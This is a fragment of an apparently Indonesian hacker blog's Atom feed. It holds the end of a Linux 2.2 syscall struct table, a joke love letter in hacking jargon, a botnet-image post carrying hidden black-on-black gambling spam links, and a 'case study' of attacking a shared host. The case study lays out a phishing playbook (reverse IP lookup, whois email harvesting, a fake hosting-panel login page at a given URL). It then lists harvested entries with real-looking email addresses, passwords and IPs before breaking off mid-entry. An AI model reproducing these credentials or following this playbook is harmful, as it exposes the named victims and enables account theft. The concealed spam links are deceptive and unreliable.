/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long __unused[4];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="sysinfo"&gt;sysinfo&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/kernel.h&lt;/a&gt;:&lt;br /&gt;struct sysinfo {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long uptime; /* Seconds since boot */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long loads[3]; /* 1, 5, and 15 minute load averages */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long totalram; /* Total usable main memory size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long freeram;  /* Available memory size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long sharedram; /* Amount of shared memory */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long bufferram; /* Memory used by buffers */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long totalswap; /* Total swap space size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long freeswap;  /* swap space still available */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short procs;   /* Number of current processes */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char _f[22];  /* Pads structure to 64 bytes */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="timex"&gt;timex&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/timex.h&lt;/a&gt;:&lt;br /&gt;struct timex {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned int modes; /* mode selector */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long offset;        /* time offset (usec) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long freq;          /* frequency offset (scaled ppm) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long maxerror;      /* maximum error (usec) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long esterror;      /* estimated error (usec) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int status;         /* clock command/status */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long constant;      /* pll time constant */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long precision;     /* clock precision (usec) (read only) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long tolerance;     /* clock frequency tolerance (ppm)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;                     * (read only)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;                     */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; time;    /* (read only) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long tick;          /* (modified) usecs between clock ticks */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ppsfreq;       /* pps frequency (scaled ppm) (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long jitter;        /* pps jitter (us) (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int shift;          /* interval duration (s) (shift) (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long stabil;        /* pps stability (scaled ppm) (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long jitcnt;        /* jitter limit exceeded (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long calcnt;        /* calibration intervals (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long errcnt;        /* calibration errors (ro) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long stbcnt;        /* stability limit exceeded (ro) */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  :32; int  :32; int  :32; int  :32;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  :32; int  :32; int  :32; int  :32;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  :32; int  :32; int  :32; int  :32;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="timespec"&gt;timespec&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/time.h&lt;/a&gt;:&lt;br /&gt;struct timespec {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#time_t"&gt;time_t&lt;/a&gt; tv_sec; /* seconds */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long tv_nsec;  /* nanoseconds */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="timeval"&gt;timeval&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/time.h&lt;/a&gt;:&lt;br /&gt;struct timeval {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#time_t"&gt;time_t&lt;/a&gt; tv_sec; /* seconds */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#suseconds_t"&gt;suseconds_t&lt;/a&gt; tv_usec; /* microseconds */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="timezone"&gt;timezone&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/time.h&lt;/a&gt;:&lt;br /&gt;struct timezone {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int tz_minuteswest; /* minutes west of Greenwich */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int tz_dsttime; /* type of dst correction */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="tms"&gt;tms&lt;/a&gt;&lt;/th&gt; &lt;td&gt; include/linux/times.h&lt;br /&gt;struct tms {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; tms_utime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; tms_stime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; tms_cutime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; tms_cstime;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="ustat"&gt;ustat&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:&lt;br /&gt;struct ustat {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__kernel_daddr_t"&gt;__kernel_daddr_t&lt;/a&gt; f_tfree;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__kernel_ino_t"&gt;__kernel_ino_t&lt;/a&gt; f_tinode;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char f_fname[6];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char f_fpack[6];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="utimbuf"&gt;utimbuf&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/utime.h&lt;/a&gt;:&lt;br /&gt;struct utimbuf {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#time_t"&gt;time_t&lt;/a&gt; actime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#time_t"&gt;time_t&lt;/a&gt; modtime;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="vm86plus_info_struct"&gt;vm86plus_info_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/vm86.h&lt;/a&gt;:&lt;br /&gt;struct vm86plus_info_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long force_return_for_pic:1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long vm86dbg_active:1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long vm86dbg_TFpendig:1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long unused:28;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long is_vm86pus:1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned char vm86dbg_intxxtab[32];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="vm86plus_struct"&gt;vm86plus_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/vm86.h&lt;/a&gt;:&lt;br /&gt;struct vm86plus_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#vm86_regs"&gt;struct vm86_regs&lt;/a&gt; regs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long screen_bitmap;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long cpu_type;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#revectored_struct"&gt;struct revectored_struct&lt;/a&gt; int_revectored;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#revectored_struct"&gt;struct revectored_struct&lt;/a&gt; int21_revectored;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#vm86plus_info_struct"&gt;struct vm86plus_info_struct&lt;/a&gt; vm86plus;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="vm86_regs"&gt;vm86_regs&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/vm86.h&lt;/a&gt;:&lt;br /&gt;struct vm86_regs {&lt;br /&gt;/* normal regs, with special meaning for the segment descriptors.. */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ebx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ecx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long edx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long esi;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long edi;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ebp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eax;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long __null_ds;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long __null_es;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long __null_fs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long __null_gs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long orig_eax;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eip;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short cs, __csh;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eflags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long esp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short ss, __ssh;&lt;br /&gt;/* these are specific to v86 mode: */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short es, __esh;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short ds, __dsh;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short fs, __fsh;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short gs, __gsh;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="vm86_struct"&gt;vm86_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/vm86.h&lt;/a&gt;:&lt;br /&gt;struct vm86_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#vm86_regs"&gt;struct vm86_regs&lt;/a&gt; regs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long screen_bitmap;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long cpu_type;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#revectored_struct"&gt;struct revectored_struct&lt;/a&gt; int_revectored;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#revectored_struct"&gt;struct revectored_struct&lt;/a&gt; int21_revectored;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;hr size="4" /&gt; &lt;h4&gt;©2004, Gary L. Burt&lt;/h4&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-9186379488701438957?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/9186379488701438957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/9186379488701438957'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/kernel-22-syscall-table-for-old-hackers.html' title='kernel 2.2 syscall table for old hackers'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5696679958573908298</id><published>2012-02-20T15:57:00.000-08:00</published><updated>2012-02-20T15:57:01.791-08:00</updated><title type='text'>Surat Cinta Ev1lut10n</title><content type='html'>-Seandainya hatimu adalah sebuah sistem, maka aku akan scan kamu untuk mengetahui port mana yang terbuka.&lt;br /&gt;&lt;br /&gt;-Seandainya hatimu adalah sebuah sistem maka akan kulakukan traceroute untuk mengetahui berapa router (hop) menuju hatimu yang bisa dengan mudah kuguncang untuk membuat gejolak trafik di dalam hatimu.&lt;br /&gt;&lt;br /&gt;-Seandainya hatimu adalah sebuah sistem maka kumohon matikanlah ipsecmu agar aku bisa lebih leluasa melakukan penetrasi ke hatimu&lt;br /&gt;&lt;br /&gt;-Aku berharap dirimu adalah BSD yang dengan iklas menerima payload remote exploitku di hatimu agar hatimu terbuka untukku dan memberikan spawn shell harapan padaku agar tanpa ragu kulakukan $nc hatimu pada port yang terbuka.&lt;br /&gt;&lt;br /&gt;-Seandainya hatimu adalah sebuah sistem yang bisa kumasuki maka ijinkanlah aku untuk memiliki hatimu seutuhnya dengan mengeksekusi exploit2 ku untuk mengaet root di hatimu tanpa perlu menyanyikan lagu bon jovi.&lt;br /&gt;&lt;br /&gt;-Seandainya hatimu adalah sebuah sistem yang telah kukuasai ijinkanlah aku menanamkan userspace dan kernelspace rootkit agar keberadaanku di hatimu abadi&lt;br /&gt;&lt;br /&gt;- Janganlah melupakanku seperti wanita2 lain yang telah melupakanku&lt;br /&gt;&lt;br /&gt;-Tapi sayang hatimu bukanlah sebuah system, kamu adalah sang bidadari impianku, yang telah mengacaukan sistemku!&lt;br /&gt;&lt;br /&gt;-Suatu saat nanti aku akan datang dan mengatakan kalau di MBR ku telah terinfeksi virus yang menghanyutkan. Ga ada anti virus yang dapat menangkalnya selain ...&lt;br /&gt;kamu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5696679958573908298?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5696679958573908298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5696679958573908298'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/surat-cinta-ev1lut10n.html' title='Surat Cinta Ev1lut10n'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-1682717561123302798</id><published>2012-02-20T08:22:00.000-08:00</published><updated>2012-02-20T08:27:13.252-08:00</updated><title type='text'>kids game</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-55Qua4iMAaE/T0Jy7JO8WZI/AAAAAAAAA5w/0MgInObsRIc/s1600/botnet1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://3.bp.blogspot.com/-55Qua4iMAaE/T0Jy7JO8WZI/AAAAAAAAA5w/0MgInObsRIc/s1600/botnet1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Qq9S-Vh7gLk/T0JzEPQZhnI/AAAAAAAAA54/9DijB5ycmfo/s1600/botnet2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://4.bp.blogspot.com/-Qq9S-Vh7gLk/T0JzEPQZhnI/AAAAAAAAA54/9DijB5ycmfo/s1600/botnet2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;style&gt;#agenbolaeuro2012{color:black}&lt;/style&gt;&lt;br /&gt;&lt;div style="background-color:black"&gt;&lt;a href="http://elsiesstudio.com/images//agenbola.html" title="agen bola sbobet" name="prediksi euro 2012" id="agenbolaeuro2012"&gt;prediksi euro 2012&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.managemycomplaints.com/Images/agenbola.html" title="agen bola" name="jadwal euro 2012" id="agenbolaeuro2012"&gt;jadwal euro 2012&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-1682717561123302798?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1682717561123302798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1682717561123302798'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/kids-game.html' title='kids game'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-55Qua4iMAaE/T0Jy7JO8WZI/AAAAAAAAA5w/0MgInObsRIc/s72-c/botnet1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4427476477368696600</id><published>2012-02-19T10:25:00.004-08:00</published><updated>2012-02-20T06:18:10.159-08:00</updated><title type='text'>- Server Freezing  (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n</title><content type='html'>- Server Freezing&amp;nbsp; (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n&lt;br /&gt;&lt;br /&gt;"yes u're elite but u don't wanna read : langkah 5. tanpa memerkukan akses root, attacker akan menyiapkan privat exploit local untuk melumpuhkan target. if they think this is an old sploit then they're under a big mistake, underestimate others that's your weakness, as long as&lt;br /&gt;you have this weakness you can not defeat the evil"&lt;br /&gt;&lt;br /&gt;"inti dari serangan ini bukanlah DDOS tapi penggunaan exploit local dan bagaimana ide untuk mendapatkan sebanyak mungkin&lt;br /&gt;pintu agar bisa mengontrol server selama mungkin dengan local exploit"&lt;br /&gt;&lt;br /&gt;Selama ini attacker mengira cara untuk membunuh suatu target hanya dari luar (layer 1 s/d 7), tapi pernahkah Anda&lt;br /&gt;membayangkan anda berada dalam suatu hosting massal di mana setiap klien lain menjadi attacker bagi Anda?&lt;br /&gt;&lt;br /&gt;ini adalah teknik yang dipakai attacker untuk menyerang echo beberapa waktu lalu.&lt;br /&gt;&lt;br /&gt;beberapa waktu lalu echo yang menggunakan shared hosting masterweb di mana banyak klien lain yang dihosting di situ.&lt;br /&gt;yang dipikirkan attacker adalah bagaimana cara melumpuhkan target tanpa melakukan ddos? &lt;br /&gt;attacker akan berusaha mendapatkan sebanyak mungkin akun hosting lain yang 1 hosting dg target.&lt;br /&gt;&lt;br /&gt;cara paling efektif adalah mengumpulkan sebanyak mungkin akun2 masterkey dari tiap klien yang hosting di server yang sama.&lt;br /&gt;caranya simple . &lt;br /&gt;&lt;br /&gt;langkah 1. kita melakukan reverse ip seperti biasa untuk mendapatkan list domain yang dihosting di server yang sama.&lt;br /&gt;langkah 2. attacker akan melakukan whois utk melihat email dari masing 2 pemilik domain&lt;br /&gt;langkah 3. attacker mengirimkan pemberitahuan berupa spam email (phising) ke ratusan email klien yang telah berhasil dikumpulkan tadi&lt;br /&gt;untuk login ke fake page masterkey :&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://sevixniaga.com.31.masterweb.net/masterkey/&lt;br /&gt;&lt;br /&gt;karena dikirimkan ke ratusan klien masterweb yang dihost yang sama tentu saja attacker tinggal memanen hasilnya dalam 1-2 harian:&lt;br /&gt;&lt;br /&gt;http://sevixniaga.com.31.masterweb.net/masterkey/data.txt&lt;br /&gt;===================&lt;br /&gt;tes@tes.com|tes|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10&lt;br /&gt;tes@tes.com|tes|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10&lt;br /&gt;tes@tes.com|rrr|139.195.59.81|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10&lt;br /&gt;ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22&lt;br /&gt;ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22&lt;br /&gt;ramli.lau@gmail.com|30122103|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2&lt;br /&gt;ramli.lau@gmail.com|312213|125.160.198.190|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2&lt;br /&gt;b_suzanto@yahoo.com|Abelherlina|206.53.148.146|BlackBerry8900/5.0.0.1067 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102&lt;br /&gt;anombramanjati@yahoo.com|Muda1974|125.160.98.25|Mozilla/5.0 (Windows NT 6.1; 